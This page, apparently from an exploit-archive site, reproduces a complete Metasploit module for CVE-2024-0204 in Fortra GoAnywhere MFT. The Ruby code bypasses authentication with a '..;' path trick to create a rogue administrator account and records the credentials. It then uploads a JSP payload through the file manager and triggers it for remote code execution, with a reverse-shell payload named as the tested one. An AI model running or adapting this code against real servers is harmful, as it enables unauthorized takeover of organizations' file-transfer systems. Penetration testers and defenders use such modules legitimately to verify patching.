Fortra GoAnywhere MFT Unauthenticated Remote Code Execution

2024.02.03
Risk: High
Local: No
Remote: Yes
CWE: N/A

## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient prepend Msf::Exploit::Remote::AutoCheck include Msf::Exploit::FileDropper include Msf::Auxiliary::Report def initialize(info = {}) super( update_info( info, 'Name' => 'Fortra GoAnywhere MFT Unauthenticated Remote Code Execution', 'Description' => %q{ This module exploits a vulnerability in Fortra GoAnywhere MFT that allows an unauthenticated attacker to create a new administrator account. This can be leveraged to upload a JSP payload and achieve RCE. GoAnywhere MFT versions 6.x from 6.0.1, and 7.x before 7.4.1 are vulnerable. }, 'License' => MSF_LICENSE, 'Author' => [ 'sfewer-r7', # MSF RCE Exploit 'James Horseman', # Original auth bypass PoC/Analysis 'Zach Hanley' # Original auth bypass PoC/Analysis ], 'References' => [ ['CVE', '2024-0204'], ['URL', 'https://www.fortra.com/security/advisory/fi-2024-001'], # Vendor Advisory ['URL', 'https://www.horizon3.ai/cve-2024-0204-fortra-goanywhere-mft-authentication-bypass-deep-dive/'] ], 'DisclosureDate' => '2024-01-22', 'Platform' => %w[linux win], 'Arch' => [ARCH_JAVA], 'Privileged' => true, # Could be 'NT AUTHORITY\SYSTEM' on Windows, or a non-root user 'gamft' on Linux. 'Targets' => [ [ # Tested on GoAnywhere 7.4.0 with the payload java/jsp_shell_reverse_tcp 'Automatic', {} ], [ 'Linux', { 'Platform' => 'linux', 'GOANYWHERE_INSTALL_PATH' => '/opt/HelpSystems/GoAnywhere' } ], [ 'Windows', { 'Platform' => 'win', 'GOANYWHERE_INSTALL_PATH' => 'C:\\Program Files\\Fortra\\GoAnywhere\\' }, ], ], 'DefaultOptions' => { 'RPORT' => 8001, 'SSL' => true }, 'DefaultTarget' => 0, 'Notes' => { 'Stability' => [CRASH_SAFE], 'Reliability' => [REPEATABLE_SESSION], 'SideEffects' => [ IOC_IN_LOGS, # A new admin account is created, which the exploit can't destroy. CONFIG_CHANGES, # The upload may leave payload artifacts if the FileDropper mixins cleanup handlers cannot delete them. ARTIFACTS_ON_DISK ] } ) ) register_options( [ OptString.new('TARGETURI', [true, 'The base path to the web application', '/goanywhere/']), ] ) end def check # We can query an undocumented unauthenticated REST API endpoint and pull the version number. res = send_request_cgi( 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, '/rest/gacmd/v1/system') ) return CheckCode::Unknown('Connection failed') unless res return CheckCode::Unknown("Received unexpected HTTP status code: #{res.code}.") unless res.code == 200 json_data = res.get_json_document product = json_data.dig('data', 'product') version = json_data.dig('data', 'version') return CheckCode::Unknown('No version information in response') if product.nil? || version.nil? # As per the Fortra advisory, the following version are affected: # * Fortra GoAnywhere MFT 6.x from 6.0.1 # * Fortra GoAnywhere MFT 7.x before 7.4.1 # This seems to imply version 6.0.1 through to 7.4.0 (inclusive) are vulnerable. if Rex::Version.new(version).between?(Rex::Version.new('6.0.1'), Rex::Version.new('7.4.0')) return CheckCode::Appears("#{product} #{version}") end Exploit::CheckCode::Safe("#{product} #{version}") end def exploit # CVE-2024-0204 allows an unauthenticated attacker to create a new administrator account on the target system. So # we generate the username/password pair we want to use. # Note: We cannot delete the administrator account that we create. admin_username = Rex::Text.rand_text_alpha_lower(8) admin_password = Rex::Text.rand_text_alphanumeric(16) # By using a double dot path segment with a semicolon in it, we can bypass the servers attempts to block access to # the /wizard/InitialAccountSetup.xhtml endpoint that allows new admin account creation. As we leverage a double # dot path segment, we need a directory to navigate down from, there are many available on the target so we pick # a random one that we know works. path_segments = %w[styles fonts auth help] path_segment = path_segments.sample # This is CVE-2024-0204... initialaccountsetup_endpoint = "/#{path_segment}/..;/wizard/InitialAccountSetup.xhtml" res = send_request_cgi( 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, initialaccountsetup_endpoint), 'keep_cookies' => true, 'vars_post' => { 'javax.faces.ViewState' => get_viewstate(initialaccountsetup_endpoint), 'j_id_u:creteAdminGrid:username' => admin_username, 'j_id_u:creteAdminGrid:password' => admin_password, 'j_id_u:creteAdminGrid:password_hinput' => admin_password, 'j_id_u:creteAdminGrid:confirmPassword' => admin_password, 'j_id_u:creteAdminGrid:confirmPassword_hinput' => admin_password, 'j_id_u:creteAdminGrid:submitButton' => '', 'createAdminForm_SUBMIT' => 1 } ) # The method com.linoma.ga.ui.admin.users.InitialAccountSetupForm.InitialAccountSetupForm.submit will call method # loginNewAdminUser and update our current session, so we dont need to manually login. unless res&.code == 302 && res.headers['Location'] == normalize_uri(target_uri.path, 'Dashboard.xhtml') fail_with(Failure::UnexpectedReply, "Unexpected reply 1 from #{initialaccountsetup_endpoint}") end print_status("Created account: #{admin_username}:#{admin_password}. Note: This account will not be deleted by the module.") store_credentials(admin_username, admin_password) # Automatic targeting will detect the OS and product installation directory, by querying the About.xhtml page. if target.name == 'Automatic' res = send_request_cgi( 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, '/help/About.xhtml'), 'keep_cookies' => true ) unless res&.code == 200 fail_with(Failure::UnexpectedReply, 'Unexpected reply 2 from About.xhtml') end # The OS name could be something like "Linux" or "Windows Server 2022". Under the hood, GoAnywhere is using # the Java system property "os.name". os_match = res.body.match(%r{<span id="AboutForm:\S+:OSName">(.+)</span>}) unless os_match fail_with(Failure::UnexpectedReply, 'Did not locate OSName in About.xhtml') end # To perform the JSP payload upload, we need to know the product installation path. install_match = res.body.match(%r{<span id="AboutForm:\S+:goAnywhereHome">(.+)</span>}) unless install_match fail_with(Failure::UnexpectedReply, 'Did not locate goAnywhereHome in About.xhtml') end # Find the Metasploit target (Linux/Windows) via a substring of the OS name we get back from GoAnywhere. found_target = targets.find do |t| os_match[1].downcase.include? t.name.downcase end unless found_target fail_with(Failure::NoTarget, "Unable to select an automatic target for '#{os_match[1]}'") end # Dup the target we found, as we patch in the GOANYWHERE_INSTALL_PATH below. detected_target = found_target.dup detected_target.opts['GOANYWHERE_INSTALL_PATH'] = install_match[1] print_status("Automatic targeting, detected OS: #{detected_target.name}") print_status("Automatic targeting, detected install path: #{detected_target['GOANYWHERE_INSTALL_PATH']}") else detected_target = target end # We are going to upload a JSP payload via the FileManager interface. We first have to get the FileManager, then # change to the directory we want to upload to, then upload the file. path_separator = detected_target['Platform'] == 'win' ? '\\' : '/' # We drop the JSP payload to a location such as: /opt/HelpSystems/GoAnywhere/adminroot/PAYLOAD_NAME.jsp adminroot_path = detected_target['GOANYWHERE_INSTALL_PATH'] adminroot_path += path_separator unless adminroot_path.end_with? path_separator adminroot_path += 'adminroot' adminroot_path += path_separator viewstate = get_viewstate('/tools/filemanager/FileManager.xhtml') res = send_request_cgi( 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, '/tools/filemanager/FileManager.xhtml'), 'keep_cookies' => true, 'vars_post' => { 'javax.faces.ViewState' => viewstate, 'j_id_4u:j_id_4v:newPath_focus' => '', 'j_id_4u:j_id_4v:newPath_input' => '/', 'j_id_4u:j_id_4v:newPath_editableInput' => adminroot_path, 'j_id_4u:j_id_4v:NewPathButton' => '', 'j_id_4u_SUBMIT' => 1 } ) unless res&.code == 200 fail_with(Failure::UnexpectedReply, 'Unexpected reply 4 from FileManager.xhtml') end # We require a regID value form the page to upload a file, so we pull that out here. vs_input = res.get_html_document.at('input[name="reqId"]') unless vs_input&.key? 'value' fail_with(Failure::UnexpectedReply, 'Did not locate reqId in reply 4 from FileManager.xhtml') end request_id = vs_input['value'] res = send_request_cgi( 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, '/tools/filemanager/FileManager.xhtml'), 'keep_cookies' => true, 'vars_post' => { 'javax.faces.ViewState' => viewstate, 'javax.faces.partial.ajax' => 'true', 'javax.faces.source' => 'uploadID', 'javax.faces.partial.execute' => 'uploadID', 'javax.faces.partial.render' => '@none', 'uploadID' => 'uploadID', 'uploadID_sessionCheck' => 'true', 'reqId' => request_id, 'whenFileExists_focus' => '', 'whenFileExists_input' => 'rename', 'uploaderType' => 'filemanager', 'j_id_4i_SUBMIT' => 1 } ) unless res&.code == 200 fail_with(Failure::UnexpectedReply, 'Unexpected reply 5 from FileManager.xhtml') end jsp_filename = Rex::Text.rand_text_alphanumeric(8) + '.jsp' message = Rex::MIME::Message.new message.add_part(request_id, nil, nil, 'form-data; name="reqId"') message.add_part('', nil, nil, 'form-data; name="whenFileExists_focus"') message.add_part('rename', nil, nil, 'form-data; name="whenFileExists_input"') message.add_part('filemanager', nil, nil, 'form-data; name="uploaderType"') message.add_part('1', nil, nil, 'form-data; name="j_id_4i_SUBMIT"') message.add_part(viewstate, nil, nil, 'form-data; name="javax.faces.ViewState"') message.add_part('true', nil, nil, 'form-data; name="javax.faces.partial.ajax"') message.add_part('uploadID', nil, nil, 'form-data; name="javax.faces.partial.execute"') message.add_part('uploadID', nil, nil, 'form-data; name="javax.faces.source"') message.add_part('1', nil, nil, 'form-data; name="uniqueFileUploadId"') message.add_part(payload.encoded, 'text/plain', nil, "form-data; name=\"uploadID\"; filename=\"#{jsp_filename}\"") # We can now upload our payload... res = send_request_cgi( 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, '/tools/filemanager/FileManager.xhtml'), 'keep_cookies' => true, 'ctype' => 'multipart/form-data; boundary=' + message.bound, 'data' => message.to_s ) unless res&.code == 200 fail_with(Failure::UnexpectedReply, 'Unexpected reply 6 from FileManager.xhtml') end # Register our payload so it is deleted when the session is created. jsp_filepath = adminroot_path + jsp_filename print_status("Dropped payload: #{jsp_filepath}") # We are using the FileDropper mixin to automatically delete this file after a session has been created. register_file_for_cleanup(jsp_filepath) # A copy of the files this user uploads is left here: # /opt/HelpSystems/GoAnywhere/userdata/documents/ADMIN_USERNAME/PAYLOAD_NAME.jsp # We register these to be deleted, but they appear to be locked, preventing deleting. userdoc_path = detected_target['GOANYWHERE_INSTALL_PATH'] userdoc_path += path_separator unless userdoc_path.end_with? path_separator userdoc_path += 'userdata' userdoc_path += path_separator userdoc_path += 'documents' userdoc_path += path_separator userdoc_path += admin_username userdoc_path += path_separator register_file_for_cleanup(userdoc_path + jsp_filename) register_dir_for_cleanup(userdoc_path) # Finally, trigger our payload via a GET request... send_request_cgi( 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, jsp_filename) ) # NOTE: it is not possible to delete the user account we created as we cant delete ourself either via the web # interface or REST API. end # Helper method to pull out a viewstate identifier from a requests HTML response. def get_viewstate(endpoint) res = send_request_cgi( 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, endpoint), 'keep_cookies' => true ) unless res&.code == 200 fail_with(Failure::UnexpectedReply, "Unexpected reply during get_viewstate via '#{endpoint}'.") end vs_input = res.get_html_document.at('input[name="javax.faces.ViewState"]') unless vs_input&.key? 'value' fail_with(Failure::UnexpectedReply, "Did not locate ViewState during get_viewstate via '#{endpoint}'.") end vs_input['value'] end def store_credentials(username, password) service_data = { address: datastore['RHOST'], port: datastore['RPORT'], service_name: 'GoAnywhere MFT Admin Interface', protocol: 'tcp', workspace_id: myworkspace_id } credential_data = { origin_type: :service, module_fullname: fullname, username: username, private_data: password, private_type: :password }.merge(service_data) credential_core = create_credential(credential_data) login_data = { core: credential_core, last_attempted_at: DateTime.now, status: Metasploit::Model::Login::Status::SUCCESSFUL }.merge(service_data) create_credential_login(login_data) end end


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2024, cxsecurity.com

 

Back to Top